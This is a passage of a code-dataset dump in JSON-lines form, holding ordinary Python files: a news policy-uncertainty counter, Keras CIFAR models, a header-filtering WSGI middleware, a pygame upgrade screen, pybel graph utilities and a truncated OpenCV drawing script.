u'权威', u'官方']\n flag2 = False\n for w in words2:\n if w in word_set:\n flag2 = True\n break\n if not flag2:\n return False\n words3 = [u'央行', u'税收', u'监管', u'规定', u'中央银行', u'中国人民银行', u'赤字', u'TWO']\n for w in words3:\n if w in word_set:\n return True\n return False\n\ndef main(years):\n dic_tot, dic_pol = {}, {}\n for year in years:\n print(year)\n files = ['%s/%d/%s'%(DATA_DIR, year, f) for f in os.listdir('%s/%d'%(DATA_DIR, year))]\n for f in files:\n with open(f, 'r') as fp:\n text = fp.readlines()\n time = text[0].decode('utf-8').split('_')[0]\n time = time.strip()\n if time.find('-') == -1:\n time = time.replace(u'年', '-').replace(u'月', '-').replace(u'日', '')\n date = time.split(' ')[0]\n if not dic_tot.has_key(date):\n dic_tot[date] = 0\n if not dic_pol.has_key(date):\n dic_pol[date] = 0\n content = \" \".join(text[1:])\n content = jieba.cut(content)\n doc = set([word for word in content])\n dic_tot[date] += 1\n if uncertainty(doc):\n dic_pol[date] += 1\n df = pd.DataFrame({'tot': pd.Series(dic_tot), 'pol': pd.Series(dic_pol)})\n df = df.sort_index()\n df.to_excel('D:/Data/risk/policy_uncertainty.xlsx')\n\nif __name__ == '__main__':\n years = range(2010, 2019)\n main(years)\n ","sub_path":"Research/news-tracking/src/policy_uncertainty.py","file_name":"policy_uncertainty.py","file_ext":"py","file_size_in_byte":2055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"281086286","text":"\"\"\"Program to get current location from device corresponding to given API name\"\"\"\nimport asyncio\nfrom argparse import ArgumentParser\n\nfrom ..location import get_location_api_class, implemented_location_apis\n\n\nasync def print_location(device):\n print(await device.get_fix())\n\n\ndef main():\n parser = ArgumentParser()\n parser.add_argument('location_device', choices=implemented_location_apis, help='Location device to use')\n args = parser.parse_args()\n\n location_api_class = get_location_api_class(args.location_device)\n location_api = location_api_class()\n\n print(f\"Using {args.location_device} API\")\n\n loop = asyncio.get_event_loop()\n\n with location_api.get_device() as device:\n loop.run_until_complete(print_location(device))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"swarm/onboard/tools/get_location.py","file_name":"get_location.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"471536933","text":"# Copyright 2014 Donald Stufft\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport hmac\n\n\nclass XForwardedTokenMiddleware:\n\n header = \"HTTP_X_WAREHOUSE_ACCESS_TOKEN\"\n\n def __init__(self, app, token):\n self.app = app\n self.token = token\n\n def __call__(self, environ, start_response):\n # Filter out X-Forwarded-* headers from the request if the secret token\n # does not exist or does not match.\n if not hmac.compare_digest(environ.pop(self.header, \"\"), self.token):\n for key in set(environ.keys()):\n if key.startswith(\"HTTP_X_FORWARDED_\"):\n del environ[key]\n\n return self.app(environ, start_response)\n","sub_path":"warehouse/middlewares.py","file_name":"middlewares.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"185595710","text":"import pygame\r\n\r\nclass Upgrade:\r\n\r\n\tdef __init__(self, Upgrade):\r\n\t\tself.settings = Upgrade.settings\r\n\t\tself.screen = Upgrade.screen\r\n\t\tself.screen_rect = self.screen.get_rect()\r\n\t\tself.stats = Upgrade.stats\r\n\t\tself.token = Upgrade.token\r\n\r\n\t\t#upgrade physical attack\r\n\t\tself.attack = pygame.image.load(\"img/upgrader/damage_upgrade.png\")\r\n\t\tself.attack_rect = self.attack.get_rect()\r\n\t\tself.attack = pygame.transform.scale(self.attack, (3*self.attack_rect.width//2, 3*self.attack_rect.height//2))\r\n\r\n\t\t#upgrade pyhsical and magic defense\r\n\t\tself.defense = pygame.image.load(\"img/upgrader/defense_upgrade.png\")\r\n\t\tself.defense_rect = self.defense.get_rect()\r\n\t\tself.defense = pygame.transform.scale(self.defense, (3*self.defense_rect.width//2, 3*self.defense_rect.height//2))\r\n\r\n\t\t#upgrade health points' capacity\r\n\t\tself.capacity = pygame.image.load(\"img/upgrader/hp_upgrade.png\")\r\n\t\tself.capacity_rect = self.capacity.get_rect()\r\n\t\tself.capacity = pygame.transform.scale(self.capacity, (3*self.capacity_rect.width//2, 3*self.capacity_rect.height//2))\r\n\r\n\t\t#background for upgrade\r\n\t\tself.bg_criteria = pygame.image.load(\"img/upgrader/latar_upgrade_tegak.png\")\r\n\t\tself.bg_criteria_rect = self.bg_criteria.get_rect()\r\n\r\n\t\t#button for upgrade\r\n\t\tself.button = pygame.image.load(\"img/upgrader/button.png\")\r\n\t\tself.button_rect = self.button.get_rect()\r\n\r\n\tdef draw_background(self):\r\n\t\t#drawing background for pyschical attack upgrade\r\n\t\tself.bg_attack = self.bg_criteria\r\n\t\tself.bg_attack_rect = self.bg_attack.get_rect()\r\n\t\tself.bg_attack_rect.midleft = self.screen_rect.midleft\r\n\t\tself.bg_attack_rect.x += 90\r\n\t\tself.bg_attack_rect.y += 40\r\n\r\n\t\t#drawing background for defense upgrade\r\n\t\tself.bg_defense = self.bg_criteria\r\n\t\tself.bg_defense_rect = self.bg_defense.get_rect()\r\n\t\tself.bg_defense_rect.center = self.screen_rect.center\r\n\t\tself.bg_defense_rect.y += 40\r\n\r\n\t\t#drawing background for capacity upgrade\r\n\t\tself.bg_capacity = self.bg_criteria\r\n\t\tself.bg_capacity_rect = self.bg_capacity.get_rect()\r\n\t\tself.bg_capacity_rect.midright = self.screen_rect.midright\r\n\t\tself.bg_capacity_rect.y += 40\r\n\t\tself.bg_capacity_rect.x -= 90\r\n\r\n\t\t#drawing to the screen\r\n\t\tself.screen.blit(self.bg_attack, self.bg_attack_rect)\r\n\t\tself.screen.blit(self.bg_defense, self.bg_defense_rect)\r\n\t\tself.screen.blit(self.bg_capacity, self.bg_capacity_rect)\r\n\r\n\tdef draw_icon(self):\r\n\t\t#draw icon for physical upgrade\r\n\t\tself.attack_rect.center = self.bg_attack_rect.center\r\n\t\tself.attack_rect.y -= 100\r\n\t\tself.attack_rect.x -= 5\r\n\r\n\t\t#draw icon for defense upgrade\r\n\t\tself.defense_rect.center = self.bg_defense_rect.center\r\n\t\tself.defense_rect.y -= 100\r\n\t\tself.defense_rect.x -= 3\r\n\r\n\t\t#draw icon for capacity upgrade\r\n\t\tself.capacity_rect.center = self.bg_capacity_rect.center\r\n\t\tself.capacity_rect.y -= 100\r\n\t\tself.capacity_rect.x -= 5\r\n\r\n\t\t#draw all icon\r\n\t\tself.screen.blit(self.attack, self.attack_rect)\r\n\t\tself.screen.blit(self.defense, self.defense_rect)\r\n\t\tself.screen.blit(self.capacity, self.capacity_rect)\r\n\r\n\tdef draw_button(self):\r\n\t\t#draw button for physical upgrade\r\n\t\tself.attack_button = self.button\r\n\t\tself.attack_button_rect = self.attack_button.get_rect()\r\n\t\tself.attack_button_rect.midbottom = self.bg_attack_rect.midbottom\r\n\t\tself.attack_button_rect.y -= 30\r\n\t\tself.attack_button_rect.x += 3\r\n\r\n\t\t#draw button for defense upgrade\r\n\t\tself.defense_button = self.button\r\n\t\tself.defense_button_rect = self.defense_button.get_rect()\r\n\t\tself.defense_button_rect.midbottom = self.bg_defense_rect.midbottom\r\n\t\tself.defense_button_rect.y -= 30\r\n\t\tself.defense_button_rect.x += 3\r\n\r\n\t\t#draw button for capacity upgrade\r\n\t\tself.capacity_button = self.button\r\n\t\tself.capacity_button_rect = self.capacity_button.get_rect()\r\n\t\tself.capacity_button_rect.midbottom = self.bg_capacity_rect.midbottom\r\n\t\tself.capacity_button_rect.y -= 30\r\n\t\tself.capacity_button_rect.x += 3\r\n\r\n\t\t#draw button to exit\r\n\t\tself.exit = pygame.image.load(\"img/upgrader/silang.png\")\r\n\t\tself.exit_rect = self.exit.get_rect()\r\n\t\tself.exit_rect.topright = self.screen_rect.topright\r\n\r\n\t\t#draw buttons\r\n\t\tself.screen.blit(self.attack_button, self.attack_button_rect)\r\n\t\tself.screen.blit(self.defense_button, self.defense_button_rect)\r\n\t\tself.screen.blit(self.capacity_button, self.capacity_button_rect)\r\n\t\tself.screen.blit(self.exit, self.exit_rect)\r\n\r\n\t\t#draw button text for each button\r\n\t\tself.button_font = pygame.font.SysFont(\"centuryschoolbook\", 20)\r\n\t\tself.text = self.button_font.render(\"Upgrade\", 1, (255, 255, 255))\r\n\t\tself.rect_attack = (163, 414)\r\n\t\tself.rect_defense = (443, 414)\r\n\t\tself.rect_capacity = (722, 414)\r\n\r\n\t\t#draw text\r\n\t\tself.screen.blit(self.text, self.rect_attack)\r\n\t\tself.screen.blit(self.text, self.rect_defense)\r\n\t\tself.screen.blit(self.text, self.rect_capacity)\r\n\r\n\tdef show_price(self):\r\n\t\tself.token_font = pygame.font.SysFont(\"centuryschoolbook\", 30)\r\n\t\tself.price_attack = self.stats.price_attack\r\n\t\tself.price_defense = self.stats.price_defense\r\n\t\tself.price_hp = self.stats.price_hp\r\n\r\n\t\tself.price_attack_token = str(self.stats.price_attack)\r\n\t\ttoken_color = 255, 255, 255\r\n\t\tself.text_attack = self.token_font.render(self.price_attack_token , True, token_color)\r\n\t\tself.text_rect_attack = self.text_attack.get_rect()\r\n\t\tself.text_rect_attack.center = self.bg_attack_rect.center\r\n\t\tself.text_rect_attack.x += 15\r\n\t\tself.text_rect_attack.y += 10\r\n\r\n\t\tself.price_defence_token = str(self.stats.price_defense)\r\n\t\tself.text_defense = self.token_font.render(self.price_defence_token , True, token_color)\r\n\t\tself.text_rect_defense = self.text_defense.get_rect()\r\n\t\tself.text_rect_defense.center = self.bg_defense_rect.center\r\n\t\tself.text_rect_defense.x += 20\r\n\t\tself.text_rect_defense.y += 10\r\n\r\n\t\tself.price_hp_token = str(self.stats.price_hp)\r\n\t\tself.text_hp = self.token_font.render(self.price_hp_token , True, token_color)\r\n\t\tself.text_rect_hp = self.text_hp.get_rect()\r\n\t\tself.text_rect_hp.center = self.bg_capacity_rect.center\r\n\t\tself.text_rect_hp.x += 17\r\n\t\tself.text_rect_hp.y += 10\r\n\r\n\t\tself.token1 = self.token.token\r\n\t\tself.token1_rect = self.token1.get_rect()\r\n\t\tself.screen.blit(self.token1, self.token1_rect)\r\n\t\tself.token2 = self.token.token\r\n\t\tself.token2_rect = self.token2.get_rect()\r\n\t\tself.screen.blit(self.token2, self.token2_rect)\r\n\t\tself.token3 = self.token.token\r\n\t\tself.token3_rect = self.token3.get_rect()\r\n\t\tself.screen.blit(self.token3, self.token3_rect)\r\n\r\n\t\tself.token1_rect.center = self.bg_attack_rect.center\r\n\t\tself.token1_rect.x -= 25\r\n\t\tself.token1_rect.y += 10\r\n\t\tself.token2_rect.center = self.bg_defense_rect.center\r\n\t\tself.token2_rect.x -= 20\r\n\t\tself.token2_rect.y += 10\r\n\t\tself.token3_rect.center = self.bg_capacity_rect.center\r\n\t\tself.token3_rect.x -= 23\r\n\t\tself.token3_rect.y += 10\r\n\r\n\t\tself.screen.blit(self.token1, self.token1_rect)\r\n\t\tself.screen.blit(self.token2, self.token2_rect)\r\n\t\tself.screen.blit(self.token3, self.token3_rect)\r\n\r\n\t\tself.screen.blit(self.text_attack, self.text_rect_attack)\r\n\t\tself.screen.blit(self.text_hp, self.text_rect_hp)\r\n\t\tself.screen.blit(self.text_defense, self.text_rect_defense)\r\n\r\n\tdef show_statement(self):\r\n\t\tself.text_font = pygame.font.SysFont(\"centuryschoolbook\", 20)\r\n\t\tself.color_text = 255, 255, 255\r\n\t\tself.attack_text = self.text_font.render(\"Attack : +2\", True, self.color_text)\r\n\t\tself.attack_text_rect = self.attack_text.get_rect()\r\n\t\tself.attack_text_rect.center = self.bg_attack_rect.center\r\n\t\tself.attack_text_rect.y -= 30\r\n\r\n\t\tself.defense_text = self.text_font.render(\"Defense : +1\", True, self.color_text)\r\n\t\tself.defense_text_rect = self.defense_text.get_rect()\r\n\t\tself.defense_text_rect.center = self.bg_defense_rect.center\r\n\t\tself.defense_text_rect.y -= 30\r\n\r\n\t\tself.hp_text = self.text_font.render(\"Max hp : +10\", True, self.color_text)\r\n\t\tself.hp_text_rect = self.hp_text.get_rect()\r\n\t\tself.hp_text_rect.center = self.bg_capacity_rect.center\r\n\t\tself.hp_text_rect.y -= 30\r\n\r\n\t\tself.screen.blit(self.attack_text, self.attack_text_rect)\r\n\t\tself.screen.blit(self.defense_text, self.defense_text_rect)\r\n\t\tself.screen.blit(self.hp_text, self.hp_text_rect)","sub_path":"aset/upgrade.py","file_name":"upgrade.py","file_ext":"py","file_size_in_byte":8043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"23380766","text":"#==============================================================================\n# Pre-defined nets for Keras\n# Each returns a Keras model and an optimizer function\n# Sourya Dey, USC\n#==============================================================================\n\n#==============================================================================\n#==============================================================================\n# # Imports\n#==============================================================================\n#==============================================================================\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D,MaxPooling2D,Flatten,Dense,Dropout,Activation\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.regularizers import l2\n#==============================================================================\n\n\n#==============================================================================\n#==============================================================================\n# # General CL functions\n#==============================================================================\n#==============================================================================\ndef any_cl_only(config, activation='relu', output_activation='softmax', kernel_initializer='he_normal', bias_initializer='zeros', kernel_regularizer=l2(0.)):\n '''\n Any MLP network\n lr and decay are set to defaults for Adam as in Keras\n '''\n model = Sequential()\n model = add_cls(model, config, activation=activation, output_activation=output_activation, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer, kernel_regularizer=kernel_regularizer)\n return model\n\n\ndef add_cls(model, config, activation='relu', output_activation='softmax', kernel_initializer='he_normal', bias_initializer='zeros', kernel_regularizer=l2(0.)):\n '''\n Helper function to add CLs to any EXISTING model\n Inputs:\n model: Existing model\n config: Must know what the exact shape of CL portion is\n Eg: If adding CLs to a CIFAR net with CNNs, then we must know what the number of neurons after flattening is\n Eg: cifar_gitblog1_example gives 4096 neurons after flattening, so maybe config = np.array([4096,512,10])\n kernel_initializer, bias_initializer, kernel_regularizer: Use the same for all layers\n Use activation for all hidden layers, output_activation for output layer\n Output:\n Model with CLs attached\n Possible improvement:\n Add dropout as as ndarray input with size = len(config)-1\n '''\n for i in range(1,len(config)):\n if i==len(config)-1: #Use output_activation for output layer and name it 'output'\n model.add(Dense(config[i], input_shape=(config[i-1],), activation=output_activation, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer, kernel_regularizer=kernel_regularizer, name='output'))\n else: #Standard hidden layers\n model.add(Dense(config[i], input_shape=(config[i-1],), activation=activation, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer, kernel_regularizer=kernel_regularizer))\n return model\n#==============================================================================\n\n\n\ndef cifar_deep(config=np.array([4096,512,10]), activation='relu', output_activation='softmax', kernel_initializer='he_normal',\n bias_initializer='zeros', kernel_regularizer=l2(0.), dropout=0.5):\n '''\n dropout: Fraction of units to DROP, i.e. set to 0. for no dropout\n '''\n model = Sequential()\n model.add(Conv2D(60, (3, 3), padding='same', input_shape=(32,32,3))) #note that conv layers have no regularizer, but they do have dropout\n model.add(BatchNormalization(axis=3))\n model.add(Activation(activation))\n model.add(Conv2D(60, (3, 3), padding='same'))\n model.add(BatchNormalization(axis=3))\n model.add(Activation(activation))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(dropout))\n\n model.add(Conv2D(125, (3, 3), padding='same'))\n model.add(BatchNormalization(axis=3))\n model.add(Activation(activation))\n model.add(Conv2D(125, (3, 3), padding='same'))\n model.add(BatchNormalization(axis=3))\n model.add(Activation(activation))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(dropout))\n\n model.add(Conv2D(250, (3, 3), padding='same'))\n model.add(BatchNormalization(axis=3))\n model.add(Activation(activation))\n model.add(Conv2D(250, (3, 3), padding='same'))\n model.add(BatchNormalization(axis=3))\n model.add(Activation(activation))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(dropout))\n\n model.add(Flatten(name='flatten_before_mlp'))\n model = add_cls(model, config, activation=activation, output_activation=output_activation, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer, kernel_regularizer=kernel_regularizer)\n# NOTE: Original code uses dropout(0.5) in between any 2 CLs\n#==============================================================================\n# opt = SGD(lr=lr,decay=decay,momentum=0.9)\n# opt = Adam(lr=lr, decay=decay)\n#==============================================================================\n return model\n\n\ndef cifar_shallow(config=np.array([4000,500,100]), activation='relu', output_activation='softmax', kernel_initializer='he_normal',\n bias_initializer='zeros', kernel_regularizer=l2(0.), dropout=0.25):\n '''\n Intentionally make it harder for MLP by reducing the amount of feature extraction via CNN\n '''\n model = Sequential()\n model.add(Conv2D(250, (5, 5), padding='same', input_shape=(32,32,3)))\n model.add(BatchNormalization(axis=3))\n model.add(Activation(activation))\n model.add(MaxPooling2D(pool_size=(8, 8)))\n model.add(Dropout(dropout))\n\n model.add(Flatten(name='flatten_before_mlp'))\n model = add_cls(model, config, activation=activation, output_activation=output_activation, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer, kernel_regularizer=kernel_regularizer)\n return model\n","sub_path":"keras_nets.py","file_name":"keras_nets.py","file_ext":"py","file_size_in_byte":6230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"493099533","text":"\"\"\"\n\nThis module contains functions that help mutate a network\n\n\"\"\"\n\nimport logging\nfrom collections import defaultdict\n\nfrom pybel.canonicalize import calculate_canonical_name\nfrom pybel.constants import *\nfrom .constants import INFERRED_INVERSE, CNAME\n\nlog = logging.getLogger(__name__)\n\n\ndef left_merge(g, h):\n \"\"\"Adds nodes and edges from H to G, in-place for G\n\n :param g: A BEL Graph\n :type g: pybel.BELGraph\n :param h: A BEL Graph\n :type h: pybel.BELGraph\n \"\"\"\n\n for node, data in h.nodes_iter(data=True):\n if node not in g:\n g.add_node(node, data)\n\n for u, v, k, d in h.edges_iter(keys=True, data=True):\n\n if k < 0: # unqualified edge that's not in G yet\n if v not in g.edge[u] or k not in g.edge[u][v]:\n g.add_edge(u, v, key=k, attr_dict=d)\n elif v not in g.edge[u]:\n g.add_edge(u, v, attr_dict=d)\n elif any(0 <= gk and d == gd for gk, gd in g.edge[u][v].items()):\n continue\n else:\n g.add_edge(u, v, attr_dict=d)\n\n\ndef collapse_nodes(graph, dict_of_sets_of_nodes):\n \"\"\"Collapses all nodes in values to the key nodes in place\n\n :param graph: A BEL Graph\n :type graph: pybel.BELGraph\n :param dict_of_sets_of_nodes: A dictionary of {node: set of nodes}\n :type dict_of_sets_of_nodes: dict\n \"\"\"\n\n for key_node, value_nodes in dict_of_sets_of_nodes.items():\n for value_node in value_nodes:\n for successor in graph.successors_iter(value_node):\n for key, data in graph.edge[value_node][successor].items():\n if key >= 0:\n graph.add_edge(key_node, successor, attr_dict=data)\n elif successor not in graph.edge[key_node] or key not in graph.edge[key_node][successor]:\n graph.add_edge(key_node, successor, key=key, **{RELATION: unqualified_edges[-1 - key]})\n\n for predecessor in graph.predecessors_iter(value_node):\n for key, data in graph.edge[predecessor][value_node].items():\n if key >= 0:\n graph.add_edge(predecessor, key_node, attr_dict=data)\n elif predecessor not in graph.pred[key_node] or key not in graph.edge[predecessor][key_node]:\n graph.add_edge(predecessor, key_node, key=key, **{RELATION: unqualified_edges[-1 - key]})\n\n graph.remove_node(value_node)\n\n # Remove self edges\n for u, v, k in graph.edges(keys=True):\n if u == v:\n graph.remove_edge(u, v, k)\n\n\n# TODO improve edge traversal efficiency from 2|E| to |E| with something like a disjoint union agglomeration\ndef build_central_dogma_collapse_dict(graph):\n \"\"\"Builds a dictionary to direct the collapsing on the central dogma\n\n :param graph: A BEL Graph\n :type graph: pybel.BELGraph\n :return: A dictionary of {node: set of nodes}\n :rtype: dict\n \"\"\"\n collapse_dict = defaultdict(set)\n\n r2p = {}\n\n for rna_node, protein_node, d in graph.edges_iter(data=True):\n if d[RELATION] != TRANSLATED_TO:\n continue\n\n collapse_dict[protein_node].add(rna_node)\n r2p[rna_node] = protein_node\n\n for gene_node, rna_node, d in graph.edges_iter(data=True):\n if d[RELATION] != TRANSCRIBED_TO:\n continue\n\n if rna_node in r2p:\n collapse_dict[r2p[rna_node]].add(gene_node)\n else:\n collapse_dict[rna_node].add(gene_node)\n\n return collapse_dict\n\n\ndef build_central_dogma_collapse_gene_dict(graph):\n \"\"\"Builds a dictionary to direct the collapsing on the central dogma\n\n :param graph: A BEL Graph\n :type graph: pybel.BELGraph\n :return: A dictionary of {node: set of nodes}\n :rtype: dict\n \"\"\"\n collapse_dict = defaultdict(set)\n\n r2g = {}\n for gene_node, rna_node, d in graph.edges_iter(data=True):\n if d[RELATION] != TRANSCRIBED_TO:\n continue\n\n collapse_dict[gene_node].add(rna_node)\n r2g[rna_node] = gene_node\n\n for rna_node, protein_node, d in graph.edges_iter(data=True):\n if d[RELATION] != TRANSLATED_TO:\n continue\n\n if rna_node not in r2g:\n raise ValueError('Should complete origin before running this function')\n\n collapse_dict[r2g[rna_node]].add(protein_node)\n\n return collapse_dict\n\n\ndef collapse_by_central_dogma(graph):\n \"\"\"Collapses all nodes from the central dogma (GENE, RNA, PROTEIN) to PROTEIN, or most downstream possible entity, in place\n\n :param graph: A BEL Graph\n :type graph: pybel.BELGraph\n \"\"\"\n collapse_dict = build_central_dogma_collapse_dict(graph)\n log.info('Collapsing %d groups', len(collapse_dict))\n collapse_nodes(graph, collapse_dict)\n\n\ndef collapse_by_central_dogma_to_genes(graph):\n \"\"\"Collapses all nodes from the central dogma (GENE, RNA, PROTEIN) to GENE in place\n\n :param graph: A BEL Graph\n :type graph: pybel.BELGraph\n \"\"\"\n collapse_dict = build_central_dogma_collapse_gene_dict(graph)\n log.info('Collapsing %d groups', len(collapse_dict))\n collapse_nodes(graph, collapse_dict)\n\n\ndef collapse_variants_to_genes(graph):\n \"\"\"Finds all protein variants that are pointing to a gene and not a protein and fixes them\n\n :param graph: A BEL Graph\n :type graph: pybel.BELGraph\n \"\"\"\n for node, data in graph.nodes(data=True):\n if data[FUNCTION] != PROTEIN:\n continue\n if VARIANTS not in data:\n continue\n if any(d[RELATION] == TRANSCRIBED_TO for u, v, d in graph.in_edges_iter(data=True)):\n graph.node[node][FUNCTION] = GENE\n\n\ndef _infer_converter_helper(node, data, new_function):\n new_tup = list(node)\n new_tup[0] = new_function\n new_tup = tuple(new_tup)\n new_dict = data.copy()\n new_dict[FUNCTION] = new_function\n return new_tup, new_dict\n\n\ndef infer_central_dogmatic_translations(graph):\n \"\"\"For all Protein entities, adds the missing origin RNA and RNA-Protein translation edge\n\n :param graph: A BEL Graph\n :type graph: pybel.BELGraph\n \"\"\"\n for node, data in graph.nodes(data=True):\n if data[FUNCTION] == PROTEIN and NAMESPACE in data and VARIANTS not in data:\n new_tup, new_dict = _infer_converter_helper(node, data, RNA)\n graph.add_node(new_tup, attr_dict=new_dict)\n graph.add_edge(new_tup, node, key=unqualified_edge_code[TRANSLATED_TO], **{RELATION: TRANSLATED_TO})\n\n\ndef infer_central_dogmatic_transcriptions(graph):\n \"\"\"For all RNA entities, adds the missing origin Gene and Gene-RNA transcription edge\n\n :param graph: A BEL Graph\n :type graph: pybel.BELGraph\n \"\"\"\n for node, data in graph.nodes(data=True):\n if data[FUNCTION] == RNA and NAMESPACE in data and VARIANTS not in data:\n new_tup, new_dict = _infer_converter_helper(node, data, GENE)\n graph.add_node(new_tup, attr_dict=new_dict)\n graph.add_edge(new_tup, node, key=unqualified_edge_code[TRANSCRIBED_TO], **{RELATION: TRANSCRIBED_TO})\n\n\ndef infer_central_dogma(graph):\n \"\"\"Adds all RNA-Protein translations then all Gene-RNA transcriptions by applying\n :code:`infer_central_dogmatic_translations` then :code:`infer_central_dogmatic_transcriptions`\n\n :param graph: A BEL Graph\n :type graph: pybel.BELGraph\n \"\"\"\n infer_central_dogmatic_translations(graph)\n infer_central_dogmatic_transcriptions(graph)\n\n\ndef opening_by_central_dogma(graph):\n \"\"\"Performs origin completion then collapsing to furthest downstream, in place\n\n :param graph: A BEL Graph\n :type graph: pybel.BELGraph\n \"\"\"\n infer_central_dogma(graph)\n collapse_by_central_dogma(graph)\n\n\ndef opening_by_central_dogma_to_genes(graph):\n \"\"\"Performs origin completion then collapsing to gene, in place\n\n :param graph: A BEL Graph\n :type graph: pybel.BELGraph\n \"\"\"\n infer_central_dogma(graph)\n collapse_by_central_dogma_to_genes(graph)\n\n\ndef prune_by_namespace(graph, function, namespace):\n \"\"\"Prunes all nodes of a given namespace\n\n This might be useful to exclude information learned about distant species, such as excluding all information\n from MGI and RGD in diseases where mice and rats don't give much insight to the human disease mechanism.\n\n :param graph: A BEL Graph\n :type graph: pybel.BELGraph\n :param function: The function to filter\n :type function: str\n :param namespace: The namespace to filter\n :type namespace: str\n \"\"\"\n to_prune = []\n\n for node, data in graph.nodes_iter(data=True):\n if function == data[FUNCTION] and NAMESPACE in data and namespace == data[NAMESPACE]:\n to_prune.append(node)\n\n graph.remove_nodes_from(to_prune)\n\n\ndef prune_by_type(graph, function=None, prune_threshold=1):\n \"\"\"Removes all nodes in graph (in-place) with only a connection to one node. Useful for gene and RNA.\n Allows for optional filter by function type.\n\n\n :param graph: a BEL network\n :type graph: pybel.BELGraph\n :param function: If set, filters by the node's function from :code:`pybel.constants` like :code:`GENE`, :code:`RNA`,\n :code:`PROTEIN`, or :code:`BIOPROCESS`\n :type function: str\n :param prune_threshold: Removes nodes with less than or equal to this number of connections. Defaults to :code:`1`\n :type prune_threshold: int\n :return: The number of nodes pruned\n :rtype: int\n \"\"\"\n to_prune = []\n\n for gene, data in graph.nodes_iter(data=True):\n if len(graph.adj[gene]) <= prune_threshold and (not function or function == data.get(FUNCTION)):\n to_prune.append(gene)\n\n graph.remove_nodes_from(to_prune)\n\n return len(to_prune)\n\n\ndef prune(graph):\n \"\"\"Prunes genes, then RNA, in place\n\n :param graph: a BEL network\n :type graph: pybel.BELGraph\n\n \"\"\"\n prune_by_type(graph, GENE)\n prune_by_type(graph, RNA)\n\n\ndef add_inferred_edges(graph, relations):\n \"\"\"Adds inferred edges based on pre-defined axioms\n\n :param graph: a BEL network\n :type graph: pybel.BELGraph\n :param relations: single or iterable of relation names to add their inverse inferred edges\n :type relations: str or list\n \"\"\"\n\n if isinstance(relations, str):\n return add_inferred_edges(graph, [relations])\n\n for relation in relations:\n for u, v in graph.edges_iter(**{RELATION: relation}):\n graph.add_edge(v, u, key=unqualified_edge_code[relation], **{RELATION: INFERRED_INVERSE[relation]})\n\n\n# TODO: Implement\ndef add_inferred_two_way_edge(graph, u, v):\n \"\"\"If a two way edge exists, and the opposite direction doesn't exist, add it to the graph\n\n Use: two way edges from BEL definition and/or axiomatic inverses of membership relations\n\n :param graph: A BEL Graph\n :type graph: pybel.BELGraph\n :param u: the source node\n :type u: tuple\n :param v: the target node\n :type v: tuple\n \"\"\"\n raise NotImplementedError\n\n\ndef add_canonical_names(graph):\n \"\"\"Adds a canonical name to each node's data dictionary if they are missing\n\n :param graph: A BEL Graph\n :type graph: pybel.BELGraph\n \"\"\"\n for node, data in graph.nodes_iter(data=True):\n if CNAME in data:\n log.debug('Canonical name already in dictionary for %s', data[CNAME])\n continue\n\n graph.node[node][CNAME] = calculate_canonical_name(graph, node)\n\n\ndef parse_authors(graph):\n \"\"\"Parses all of the citation author strings to lists by splitting on the pipe character \"|\"\n\n :param graph: A BEL graph\n :type graph: pybel.BELGraph\n \"\"\"\n for u, v, k in graph.edges_iter(keys=True):\n if CITATION not in graph.edge[u][v][k]:\n continue\n\n if CITATION_AUTHORS not in graph.edge[u][v][k][CITATION]:\n continue\n\n authors = graph.edge[u][v][k][CITATION][CITATION_AUTHORS]\n\n if not isinstance(authors, str):\n continue\n\n graph.edge[u][v][k][CITATION][CITATION_AUTHORS] = list(authors.split('|'))\n\n\ndef serialize_authors(graph):\n \"\"\"Recombines all authors with the pipe character \"|\"\n\n :param graph: A BEL graph\n :type graph: pybel.BELGraph\n \"\"\"\n for u, v, k in graph.edges_iter(keys=True):\n if CITATION not in graph.edge[u][v][k]:\n continue\n\n if CITATION_AUTHORS not in graph.edge[u][v][k][CITATION]:\n continue\n\n authors = graph.edge[u][v][k][CITATION][CITATION_AUTHORS]\n\n if not isinstance(authors, list):\n continue\n\n graph.edge[u][v][k][CITATION][CITATION_AUTHORS] = '|'.join(authors)\n","sub_path":"src/pybel_tools/mutation.py","file_name":"mutation.py","file_ext":"py","file_size_in_byte":12576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"197062590","text":"import numpy as np\r\nimport cv2\r\ndrawing = False\r\na1 = []\r\nb1 = []\r\nimg = cv2.imread('cameraman.tif',0)\r\nimg1 = cv2.imread('cameraman.tif',0)\r\nimg2 = img.copy()\r\nimg3 = img.copy()\r\nimg4 = np.zeros((1024,1024), np.uint8)\r\ndef draw_line(event,x,y,flags,param):\r\n global imgg,img,a1\r\n if event == cv2.EVENT_LBUTTONDOWN:\r\n a1.append((x,y))\r\n elif event== cv2.EVENT_LBUTTONUP:\r\n a1.append((x,y))\r\n imgg = img[a1[-2][1]:a1[-1][1], a1[-2][0]:a1[-1][0]].copy()\r\n cv2.rectangle(img, a1[-1], a1[-2],(0,0,0),3)\r\n img2 = 